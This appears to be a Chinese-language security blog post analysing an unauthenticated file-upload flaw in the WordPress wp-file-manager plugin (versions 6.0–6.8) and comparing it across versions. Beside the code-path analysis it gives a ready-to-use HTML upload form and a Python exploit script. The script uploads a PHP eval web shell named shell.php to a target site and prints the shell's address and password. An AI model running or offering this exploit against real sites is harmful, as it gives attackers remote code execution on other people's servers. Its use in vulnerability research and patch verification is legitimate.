0x00 前言

这是2020年的洞了,当时一出就分析,奈何没有记录,导致现在都忘了

重新写一遍,文章主要包括,漏洞分析复现及版本之间的差异

影响版本

  • 6.0 ≤ x ≤ 6.8

对比版本

0x01 漏洞分析

漏洞点位于file managerconnector.minimal.php文件,

具体路径在\wp-content\plugins\wp-file-manager\lib\php\connector.minimal.php

调用了run方法

image-20220425111643626

方法还是很长的,分开来看,上面的一些if,我们可以根据传参,让程序不走进去

首先来看两个方法commandExistscommandArgsList

image-20220425112424213

第一个方法是判断,我们要访问的方法是否存在,这里要访问upload方法,是存在的

image-20220425112616197

第二个方法,是看需要那些参数

true的参数,只有两个targetFILES

image-20220425112815159

然后会进入input_filter处理一下这些参数

image-20220425113026990

进入exec方法

image-20220425113058477

在exec方法中,进行一些基本判断,然后会调用上传方法

image-20220425113330777

进入upload方法之后,需要注意的点就是target的参数值了

image-20220425114116491

参数的前缀需要是l1_或者t1_,才能获得对应的类

image-20220425114202536

然后在进入对应的类进行上传的时候,后缀后面的数据会被base64解码进行拼接成路径

dir->file->decode

image-20220425114734645

0x02 漏洞复现

构造上传表单

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form enctype="multipart/form-data" action="http://192.168.1.220:8224/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" method="post">
<input type="file" name="upload[]" size="50"><br>
<input type="submit" value="Upload">
<input type="hidden" name="cmd" value="upload"><br>
<input type="hidden" name="target" value="l1_Lw"><br>
</form>
</body>
</html>

image-20220425114902606

或者编写poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
#
# Single check to see if the server is still vulnerable to wp-file-manager
# Written by: 秋水

import requests
import re
from requests_toolbelt import MultipartEncoder


# 检测是否存在漏洞,其实可以两种方式,一个是版本一个是漏洞文件
# 版本
def check_vul_ver(url):
address = url + "/wp-content/plugins/wp-file-manager/readme.txt"
rsp = requests.get(address, verify=False, allow_redirects=False)
text = re.findall("Stable tag.*", rsp.text)
text = str(text[0])
text = text.split(": ")[1]
if text == "6.9" or float(text) < 5.0:
return False
else:
return True


# 漏洞文件
def check_vul_file(url):
address = url + "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
rsp = requests.get(address, verify=False, allow_redirects=False)
if rsp.status_code == 200:
return True
else:
return False


# 漏洞利用
def main(url):
if check_vul_file(url):
print("[+] Vulnerability file exists!")
address = url + "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
file = "<?php @eval($_REQUEST[8]);?>"
m = MultipartEncoder(fields={'filename': 'upload[]',
'upload[]': ('shell.php', file, 'application/octet-stream'),
'target': 'l1_Lw',
'cmd': 'upload'
})
headers = {
"Content-Type": m.content_type
}
rsp = requests.post(address, data=m, headers=headers, verify=False, allow_redirects=False)
if rsp.status_code == 200 and "url" in str(rsp.text):
print("[+] Got it!")
shell = url + rsp.json()['added'][0]['url']
print("[+] shell address: " + shell)
print("[+] shell pass: 8")
else:
print("[-] The target site does not have this vulnerability!")
else:
print("[-] The target site does not have this vulnerability!")


if __name__ == '__main__':
requests.packages.urllib3.disable_warnings()
web_url = "http://127.0.0.1:8224"
main(web_url)

0x03 差异分析

漏洞修复

在6.9版本漏洞被修复,删除了相关文件,并没有修改代码逻辑

5.0-5.9

在5.x的版本中,也存在相关的文件

但是多包含了一个不存在文件,并且用的是require

导致程序出现致命错误,无法继续运行

image-20220425120333049

更低的版本

比如1.8版本

并不存在漏洞相关文件,不存在调用故漏洞不存在

image-20220425120553647

0x04 end

其实没下到其他的5.x的版本,或者4.x 3.x 2.x之类的

都可以试试如下几个文件是否存在上传

  • connector.php
  • connector.minimal.php
  • connector.maximal.php